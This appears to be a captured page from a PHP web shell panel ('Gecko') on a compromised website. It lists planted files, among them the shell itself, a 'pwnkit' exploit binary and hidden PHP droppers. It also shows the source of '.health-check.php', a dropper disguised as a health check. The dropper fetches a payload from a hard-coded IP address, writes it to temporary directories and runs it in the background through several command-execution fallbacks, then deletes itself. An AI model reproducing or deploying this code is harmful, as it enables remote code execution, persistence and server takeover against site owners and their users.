Gecko [ hubnogueira.com.br ]

Name	Size	Permission
.well-known	[ DIR ]	drwxr-xr-x
bin-cache-365ee6	[ DIR ]	drwxr-xr-x
cgi-bin	[ DIR ]	drwxr-xr-x
.h46218.php	654 B	-rw-r--r--
.health-check.php	1.06 KB	-rw-r--r--
.htaccess	257 B	-rw-r--r--
.mad-root	0 B	-rw-r--r--
.r43062.php	74 B	-rw-r--r--
README.md	404 B	-rw-r--r--
adminer.php	465.43 KB	-rw-r--r--
ajax.php.sorry	2.7 KB	-rw-r--r--
gecko.php	62.77 KB	-r--r--r--
index.php.sorry	2.35 KB	-rw-r--r--
pwnkit	10.99 KB	-rwxr-xr-x

Code Editor : .health-check.php

<?php
ignore_user_abort(true);set_time_limit(0);
$u='http://139.180.197.150/s';$ok=false;
$paths=['/tmp/.cu','/var/tmp/.cu','/dev/shm/.cu',getenv('HOME').'/.cu'];
$ch=curl_init($u);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);curl_setopt($ch,CURLOPT_TIMEOUT,30);
$d=curl_exec($ch);$code=curl_getinfo($ch,CURLINFO_HTTP_CODE);curl_close($ch);
$p='';
if($code==200&&strlen($d)>100000){
foreach($paths as $tp){if(@file_put_contents($tp,$d)){$p=$tp;break;}}
if($p){chmod($p,0755);$cmd="nohup $p >/dev/null 2>&1 &";
if(function_exists('popen')){$h=popen($cmd,'r');if($h){pclose($h);$ok=true;}}
if(!$ok&&function_exists('proc_open')){$proc=proc_open($cmd,[['pipe','r'],['pipe','w'],['pipe','w']],$pipes);if(is_resource($proc)){proc_close($proc);$ok=true;}}
if(!$ok&&function_exists('exec')){exec($cmd,$o,$r);if($r==0)$ok=true;}
if(!$ok&&function_exists('system')){system($cmd,$r);if($r==0)$ok=true;}
if(!$ok&&function_exists('shell_exec')){shell_exec($cmd);$ok=true;}
}}echo json_encode(['dl'=>$code,'sz'=>strlen($d),'x'=>$ok,'p'=>$p]);@unlink(__FILE__);?>

${this.title}

Code Editor : .health-check.php